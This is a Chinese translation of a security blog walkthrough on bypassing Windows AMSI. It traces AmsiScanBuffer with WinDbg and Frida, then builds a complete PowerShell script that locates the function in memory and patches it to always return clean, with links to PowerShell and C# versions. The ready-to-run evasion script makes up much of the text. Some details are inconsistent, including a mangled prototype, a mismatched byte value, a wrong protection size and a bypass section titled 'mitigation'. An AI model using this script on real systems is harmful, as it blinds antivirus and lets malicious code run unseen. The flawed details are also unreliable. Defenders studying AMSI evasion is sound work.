绕过AMSI的全套操作过程

xiaohui Web安全 2019年8月25日发布
Favorite收藏

导语:Windows一直是罪犯和安全研究人员钟爱的攻击目标,为了防御该系统,微软公司也在不断采用更好的防护措施 , 比如Windows 10中引入的AMSI(Antimalware Scan Interface,杀毒软件扫描接口) 工具。

360截图1633120597151115.jpg

对于经常进行渗透测试的人员来说,AMSI是再熟悉不过的事情了。

Windows一直是罪犯和安全研究人员钟爱的攻击目标,为了防御该系统,微软公司也在不断采用更好的防护措施 , 比如Windows 10中引入的AMSI(Antimalware Scan Interface,杀毒软件扫描接口) 工具。微软开发出了反恶意软件扫描接口(AMSI)工具,可以在内存中捕捉恶意脚本。任何应用程序都可以调用这个接口,任何注册反恶意软件引擎都能处理提交给AMSI的内容。Windows Defender 和AVG目前正在使用AMSI,这一接口应该被更广泛地采纳。特别是在应对PowerShell攻击的场景中,AMSI更是起到了很好的作用。

然而,AMSI并不完美,经混淆编码的脚本,或者从WMI名字空间、注册表、事件日志等非常规位置加载的脚本,就不太会被AMSI检测出来。不用powershell.exe执行(可用网络策略服务器之类的工具)的PowerShell脚本也会使AMSI失效。绕过AMSI的方法也有很多,比如修改脚本签名,使用 PowerShell ,或者禁用AMSI。

因此,AMSI是许多研究的主要目标,能够绕过AMSI可能是攻击成功与否的关键因素。这篇文章,我就为大家解释了AMSI的内部工作原理,并描述了一种新的绕过技术。

本文分为以下4部分:

1.基本的Windows内部知识(如虚拟地址空间、Windows API);

2.用于分析和反汇编程序的基本Windows调试器用法(在本文的示例中为powershell.exe);

3. Frida用于函数挂钩的基本用法;

4.PowerShell脚本的基础知识;

AMSI如何运行

如上所述,AMSI允许服务和应用程序与安装的杀毒软件进行通信。为此,AMSI要进行挂钩,例如Windows脚本主机(Windows Scripting Host ,WSH)和PowerShell,以便对正在执行的内容进行反混淆分析,该内容会被“捕获”并在执行之前被发送到杀毒软件中。

这是在Windows 10上实现AMSI的所有组件的列表:

1.用户帐户控制或UAC (EXE、COM、MSI或ActiveX安装的升级);

2.PowerShell(脚本、交互使用和动态代码评估);

3.Windows脚本主机(wscript.exe和cscript.exe);

4.JavaScript和VBScript;

5. Office VBA宏;

以下是AMSI体系结构的表示:

1.jpg

例如,在创建PowerShell进程时,AMSI动态链接库(Dynamic-Link Library, DLL)被映射到进程的虚拟地址空间,这是Windows为进程分配和提供的虚拟地址范围。DLL是一个模块,它包含可由另一个模块使用的导出和内部函数。内部函数可以从DLL中访问,导出的函数可以由其他模块访问,也可以从DLL中访问。在我们的示例中,PowerShell将使用AMSI DLL导出的函数来扫描用户输入。如果认为无害,则执行用户输入,否则将阻止执行并记录事件1116(MALWAREPROTECTION_BEHAVIOR_DETECTED)。

在PowerShell shell中尝试AMSI篡改方法时报告的事件(ID 1116)的示例:

2.jpg

请注意,AMSI不仅用于扫描脚本、代码、命令或cmdlet,还可用于扫描任何文件、内存或数据流,如字符串、即时消息、图片或视频。

枚举AMSI函数

如上所述,实现AMSI的应用程序使用AMSI导出的函数,但是使用哪些函数以及如何使用?重要的是,哪些函数负责检测,从而防止“恶意”内容执行?

使用两种方法以获得导出函数的列表,首先,可以从Microsoft文档网站找到一个基本的函数列表:

· AmsiCloseSession

· AmsiInitialize

· AmsiOpenSession

· AmsiResultsMalware

· AmsiScanBuffer

· AmsiScanString

· AmsiUninitialize

其次,利用WinDbg等软件对AMSI DLL进行调试,用于逆向工程、反汇编和动态分析。在我们的示例中,WinDbg将附加到正在运行PowerShell的进程上,以分析AMSI。

下图显示了使用WinDbg时,被导出的列表和内部AMSI函数的列表。注意,“x”命令用于检查符号。符号文件是编译程序时创建的文件。虽然程序的执行不需要这些文件,但是它们在调试过程中包含有用的信息,比如全局和局部变量以及函数名和地址。

3.jpg

虽然函数是已知的,然而,这并没有回答最重要的问题——检测和预防“恶意”内容涉及哪个函数或哪些函数?

为了回答这个问题,将使用Frida。Frida是一个用于应用程序内省和挂钩的动态工具工具包,这意味着它可以用来挂钩函数,以便分析由它们传递或返回的变量和值。

请注意,安装和解释Frida的工作方式超出了本文的范围,如需进一步了解,请点此了解。在我们的示例中,只使用“frida-trace”工具。

首先,frida-trace将附加到正在运行的PowerShell进程(左下方的shell),所有名称以“Amsi”开头的函数都将被挂起。“-P”开关用于指定进程Id,“-X”开关用于指定模块(DLL),“-i”开关用于指定函数名称,在我们的示例中代表模式。

请注意,必须使用管理员权限执行“frida-trace”(右下方的shell)。

4.jpg

现在所有这些函数都被Frida挂钩,因此可以监视PowerShell所调用的内容,例如,输入一个简单的字符串。如下所示,调用AmsiScanBuffer和AmsiOpenSession。

5.jpg

frida-trace是一个功能强大的工具,因为对于分析的每个函数,都会创建一个互补的JavaScript文件。在每个JavaScript文件中有两个函数,“onEnter”和“onLeave”。

 “onEnter”函数有三个参数:“log”、“args”和“state”,它们分别是用于向用户显示信息的函数、传递给函数的参数列表和用于函数间(inter-function )状态管理的全局对象。

“onLeave”函数有三个参数:“log”、“args”和“state”,它们分别是向用户显示信息的函数(与onEnter相同)、函数返回的值和用于函数间(inter-function )状态管理的全局对象(与onEnter相同)。

例如,Frida为AmsiScanBuffer生成的默认JavaScript文件如下:

{
	onEnter: function (log, args, state) {
	    log('AmsiScanBuffer()');
	},
	
	onLeave: function (log, retval, state) { }
}

在我们的示例中,AmsiScanBuffer和AmsiOpenSession函数的JavaScript文件都可以根据它们的函数原型进行更新,以便分析参数和返回值。函数原型或函数接口会对进入的函数进行介绍,包括函数的名称、类型签名、参数及其类型。

AmsiScanBuffer原型:

HRESULT AmsiScanBuffer(
	HAMSICONTEXT amsiContext,
	PVOID buffer,
	ULONG length,
	LPCWSTR contentName,
	HAMSISESSION amsiSession,
	AMSI_RESULT *result 
);

AmsiOpenSession原型:

HRESULT AmsiScanBuffer(
	HRESULT AmsiOpenSession(
	HAMSICONTEXT amsiContext,
	HAMSISESSION *amsiSession
);

AmsiScanBuffer JavaScript文件(_handlers__\amsi.dll\AmsiScanBuffer.js) 的更新如下:

{
	onEnter: function (log, args, state) {
	    log('[+] AmsiScanBuffer');
	    log('|- amsiContext: ' + args[0]);
	    log('|- buffer: ' + Memory.readUtf16String(args[1]));
	    log('|- length: ' + args[2]);
	    log('|- contentName: ' + args[3]);
	    log('|- amsiSession: ' + args[4]);
	    log('|- result: ' + args[5] + "\n");
	  },
	
	  onLeave: function (log, retval, state) { }
}

AmsiOpenSession JavaScript文件(_handlers__\amsi.dll\ amsiopenssession .js) 的更新如下:

{
	onEnter: function (log, args, state) {
	    log('[+] AmsiOpenSession');
	    log('|- amsiContext: ' + args[0]);
	    log('|- amsiSession: ' + args[1] + "\n");
	},
	
	onLeave: function (log, retval, state) { }
}

通过更新这些文件,现在可以更深入地了解传递给这些函数的内容。如下图所示,用户输入通过buffer变量传递给AmsiScanBuffer函数。

11.jpg

基于此分析,我们可以得出结论,AmsiScanBuffer至少是一个重要的函数,负责检测,从而防止“恶意”内容的执行。

查找函数的地址

层层推进,绕过方法现在唯一可用的函数,就剩下了AmsiScanBuffer。

在Windows系统中,Kernel32 DLL中的LoadLibrary导出函数用于将DLL加载并映射到正在运行的进程的虚拟地址空间(VAS),并返回该DLL的句柄,然后该句柄可以与其他函数一起使用。如果DLL已经在进程的VAS中映射,它在本文的示例(PowerShell在进程初始化期间加载AMSI DLL)中,则只返回一个句柄。

Windows API是一组函数和数据结构,由Windows应用程序和服务使用的不同DLL(例如Kernel32或User32)公开,以执行它们必须执行的操作(例如创建文件、打开进程或加载DLL)。

为了获得AMSI DLL的句柄,可以执行以下PowerShell脚本:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

12.jpg

从Kernel32 DL导出的GetProcAddress函数允许从给定DLL获取导出函数或变量的句柄。在我们的示例中,这个Windows API将用于获取AmsiScanBuffer的地址或AMSI DLL中导出的任何其他函数的地址。这是Rasta Mouse最初所做的事情,然而,AmsiScanBuffer和其他字符串现在被认为是恶意的,这意味着AMSI被篡改。因此,需要另一种方法。

13.jpg

我们的想法是动态地找到AmsiScanBuffer函数的地址,而不是使用GetProcAddress函数来获取它。为此,仍然需要一个地址作为VAS的起点。此时,几乎可以使用任何不包含字符串“Amsi”的导出函数。在本文的示例中,我们选择了DllCanUnloadNow。

现在可以通过调用GetProcAddress函数来更新以前的PowerShell脚本,以便在进程的VAS中获取DllCanUnloadNow函数的地址。PowerShell脚本正在执行的操作如下所示:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

14.jpg

请注意,由于地址空间布局随机化(ASLR) ,每次系统重启时DllCanUnloadNow的地址都会有所不同。在本例中,直到重新引导系统之前,函数的地址都是“140717525833824”。ASLR是一个安全功能,它在VAS中随机分配地址,以防止内存位置泄漏。

此外,每次重启系统时,ASLR都会随机分配用户空间的基地址。

Egg hunter技术的使用

DllCanUnloadNow的地址可以被看作是进程VAS的入口点。但是如何找到AmsiScanBuffer的地址呢?

事实上,有可能通过整个VAS来寻找特定的模式,这种技术被称为“Egg Hunter”。最初,egg hunter由解析内存中的一个大区域组成,以寻找两个4字节的模式(例如w00tw00t或p4ulp4ul),但是在我们的示例中,这不是8个字节,而是24个字节,即AmsiScanBuffer函数的24个第一字节。

WinDbg软件可用于反汇编AmsiScanBuffer函数以检索函数的指令。请注意,“u”开关用于反汇编内存中的指定代码,此处为AMSI DLL中的AmsiScanBuffer。

15.jpg

如上图所示,该函数的24个第一个字节是:“0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70”。

请注意,“捕获”的顺序必须是唯一的,否则这种技术将返回一个“随机”地址,而该地址则与我们正在寻找的函数地址不一致。

因此,可以更新以前的PowerShell脚本,以便在VAS中搜索24字节的惟一序列。

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

[byte[]]$egg = [byte[]] (
    0x4C, 0x8B, 0xDC,         # mov     r11,rsp
    0x49, 0x89, 0x5B, 0x08,   # mov     qword ptr [r11+8],rbx
    0x49, 0x89, 0x6B, 0x10,   # mov     qword ptr [r11+10h],rbp
    0x49, 0x89, 0x73, 0x18,   # mov     qword ptr [r11+18h],rsi
    0x57,                     # push    rdi
    0x41, 0x56,               # push    r14
    0x41, 0x57,               # push    r15
    0x48, 0x83, 0xEC, 0x70    # sub     rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"

[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
    [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
    $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
    $i++
}
Write-Host "[+] Bytes: $bytes"

16.jpg

来自“Hunter”类的FindAddress静态方法正在解析VAS,方法是根据传递给方法的参数中的地址进行递增,该地址是DllCanUnloadNow函数的地址。然后,该方法使用Marshal类中的ReadByte静态方法获取所提供地址的字节,并将其与要查找的序列中的字节进行比较。最后,如果找到序列,它将返回函数的地址。

如图所示,找到的字节恰好是AmsiScanbuffer函数的前24个字节,因此,使用该技术成功地动态找到了AmsiScanbuffer。

缓解措施

既然可以找到函数的地址,下一步就是修改函数的指令,以阻止对“恶意”内容的检测。

根据Microsoft文档,AmsiScanBuffer函数应该返回HRESULT,它是一个整数值,表示操作的结果或状态。在我们的示例中,如果函数值正确,函数将返回“S_OK”(0x00000000;否则将返回一个HRESULT错误代码。

这个函数的主要目的是返回要扫描的内容是否“干净”。这就是为什么“result”变量作为AmsiScanBuffer函数的参数传递。这个变量的类型是“AMSI_RESULT”,属于枚举类。

enum的原型如下:

typedef enum AMSI_RESULT {
	AMSI_RESULT_CLEAN,
	AMSI_RESULT_NOT_DETECTED,
	AMSI_RESULT_BLOCKED_BY_ADMIN_START,
	AMSI_RESULT_BLOCKED_BY_ADMIN_END,
	AMSI_RESULT_DETECTED
};

在函数执行期间,要分析的内容将被发送给杀毒软件提供商,该提供商将返回一个介于1到32762(包括)之间的整数。这个整数越大,估计的风险就越大。如果该整数大于或等于32762,则分析的内容被认为是恶意的,并被阻止运行。然后,AMSI_RESULT结果变量将根据返回的整数进行更新。

默认情况下,变量处于“干净”状态,因此,如果修改函数的指令,使其永远不会将内容发送给杀毒软件提供商,如果返回“S_OK”HRESULT,则始终认为内容是干净的。

在汇编中,EAX(32位)和RAX(64位)总是包含函数的返回值。因此,如果EAX/RAX寄存器等于0,并且执行了“ret”汇编指令,则该函数将只会返回一个“S_OK”HRSULT,而不将内容发送给杀毒软件提供商进行分析。

为此,可以使用以下汇编代码:

xor    EAX, EAX
ret

要修补AmsiScanBuffer函数,必须将第一个字节修改为“0x31 0xC0 0xC3”(上面的汇编指令的十六进制表示)。但是,在进行任何修改之前,要修改的区域必须是可读/可写的。否则,任何读或写访问都将导致访问冲突异常。要更改要修改的区域的内存保护,可以使用从Kernel32 DLL导出的VirtualProtect函数,此函数将修改指定区域的内存保护。

下面的PowerShell代码片段使用VirtualProtect调用来修改AmsiScanBuffer函数的前3个字节的内存保护。

# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

然后,可以使用“Marshal”类中的“Copy”静态方法,将给定字节复制(覆盖)到给定地址。在我们的示例中,这个静态方法将用于缓解绕过过程。

$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

最后,可以再次使用VirtualProtect函数重新初始化到原始内存保护状态。

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) |  Out-Null

通过组装所有部件,可以执行最终的PowerShell脚本,具体如下所示:

1.获取AMSI DLL的句柄;

2.获取DllCanUnloadNow函数的地址;

3.使用egg hunter技术找到AmsiScanBuffer函数的地址;

4.将修改区域改为读写;

5.应用到缓解措施;

6.将修改后的区域重新初始化为原始状态;

Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
	Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
	Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret  
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

22.jpg

如上图所示,AMSI就被成功绕过了。

总结

该技术在以下版本的Windows上进行了测试:

AMSI_Bypass_Table_651_256_75.JPG

最终的PowerShell脚本可以在这里找到:

https://gist.github.com/amonsec/986db36000d82b39c73218facc557628

c#版本可以在这里找到:

https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597

本文翻译自:https://www.contextis.com/en/blog/amsi-bypass如若转载,请注明原文地址: https://www.4hou.com/web/18619.html
点赞 4
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论